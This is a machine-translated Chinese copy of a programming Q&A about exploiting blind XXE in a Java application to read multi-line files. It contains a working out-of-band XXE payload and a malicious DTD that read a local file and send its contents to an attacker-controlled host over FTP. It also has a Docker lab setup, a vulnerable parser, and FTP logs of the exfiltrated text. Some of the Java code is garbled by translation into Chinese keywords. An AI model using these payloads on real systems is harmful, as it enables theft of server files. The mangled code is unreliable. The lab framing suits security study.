Java XXE-无法检索具有多行的文件
我创建了一个易受(盲)XXE攻击的Java应用程序 我能够利用该漏洞并使用以下方法检索包含单行的文件: 1) 截取XML请求并按如下方式修改它:Java XXE-无法检索具有多行的文件,java,xml,xxe,Java,Xml,Xxe,我创建了一个易受(盲)XXE攻击的Java应用程序 我能够利用该漏洞并使用以下方法检索包含单行的文件: 1) 截取XML请求并按如下方式修改它: <?xml version='1.0'?> <!DOCTYPE xxe [ <!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'> %EvilDTD; %LoadOOBEnt; %
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://192.168.27.152/evil_oob.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
2) 在192.168.27.152上,在端口80上提供以下evil_oob.dtd:
<!ENTITY % resource SYSTEM "file:///C:/temp/test.txt">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM 'ftp://192.168.27.152:2121/%resource;'>">
3) 在端口2121的攻击者计算机上运行修改后的FTP服务器()
正如我前面解释的,当test.txt包含一行代码时,一切正常。但是,如果test.txt包含多行(因此包含回车符),则ftp URL无效,并且出现以下错误:
java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP
command at
sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
<... snip ...>
at java.lang.Thread.run(Thread.java:748) Caused by:
sun.net.ftp.FtpProtocolException: Illegal FTP command at
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533) at
sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752) at
sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293) at
sun.net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
... 114 more Caused by: java.lang.IllegalArgumentException: **Illegal
carriage return** at
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)
java.io.IOException:sun.net.ftp.FtpProtocolException:非法ftp
指挥
net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:518)
在java.lang.Thread.run(Thread.java:748)处,由以下原因引起:
sun.net.ftp.FtpProtocolException:位于的ftp命令非法
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:533)位于
位于的sun.net.ftp.impl.FtpClient.openDataConnection(FtpClient.java:752)
sun.net.ftp.impl.FtpClient.getFileStream(FtpClient.java:1293)位于
net.www.protocol.ftp.FtpURLConnection.getInputStream(FtpURLConnection.java:435)
... 114更多原因:java.lang.IllegalArgumentException:*非法
回车**在
sun.net.ftp.impl.FtpClient.issueCommand(FtpClient.java:535)
我还尝试用运行在不同端口上的http服务器替换FTP服务器,但我当然会遇到类似的错误,因为URL在这种情况下也无效
我想知道是否有可能通过盲XXE检索包含多行的文件?我知道,使用PHP有时可以使用PHP过滤器对文件进行base64编码,但Java的情况并非如此
我已经读了几十篇文章,但找不到实现目标的方法。这曾经适用于Java的旧版本,但现在不再适用了。它在Java7中的某个地方被修补过 您可以在docker容器上使用旧版本的Java来测试它。我找不到一个现成的,但你可以用一个旧版本的阿尔卑斯山来快速测试。下面是一个示例
Dockerfile
:
FROM alpine:3.3
ENV JAVA_HOME=/usr/lib/jvm/default-jvm
RUN apk add --no-cache openjdk7 && \
ln -sf "${JAVA_HOME}/bin/"* "/usr/bin/"
构建它:
docker build -t openjdk7:91 .
您可以使用以下代码模拟易受攻击的服务器:
import javax.xml.parsers.*;
导入org.xml.sax.*;
导入javax.xml.transform.dom.*;
导入org.w3c.dom.Document;
公共类JavaXXE{
公共静态void main(字符串[]args)引发异常{
String xml=“xxe_trigger.xml”;
DocumentBuilderFactory df=DocumentBuilderFactory.newInstance();
DocumentBuilder=df.newDocumentBuilder();
Document=builder.parse(新的InputSource(xml));
DOMSource DOMSource=新的DOMSource(文档);
}
}
将此文件另存为JavaXXE.java
。将XML(和XXEs)放入名为xxe\u trigger.XML
的文件中。然后在docker上运行代码(它将当前目录映射到docker的/tmp):
您将看到它将命中FTP服务器,并将文件的所有行作为命令转储。PoC:
FTP. New client connected
< USER anonymous
< PASS Java1.7.0_91@
>230 user logged in
< TYPE I
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|172.17.0.2|35351|
200 EPRT command ok
< RETR this is a two line test to
> 230 more data please!
< check newline handling capability
> 230 more data please!
FTP。新客户端已连接
<用户匿名
230用户登录
请提供更多数据!
请提供更多数据!
请提供更多数据!
请提供更多数据!
<检查换行处理能力
>请提供更多数据!
这是因为Java的新版本不允许多行URI。对于有此问题的用户,可以尝试切换到较低的java版本,如JDK8u102理论上读取文件没有限制。你可以阅读其中的任何一行。这种限制更多地存在于后端应用程序的实现中,后者容易受到XXE的攻击。例如,在OWASP Juice Shop中,我们有一个只返回前200个字符的XXE。
FTP. New client connected
< USER anonymous
< PASS Java1.7.0_91@
>230 user logged in
< TYPE I
> 230 more data please!
< EPSV ALL
> 230 more data please!
< EPSV
> 230 more data please!
< EPRT |1|172.17.0.2|35351|
200 EPRT command ok
< RETR this is a two line test to
> 230 more data please!
< check newline handling capability
> 230 more data please!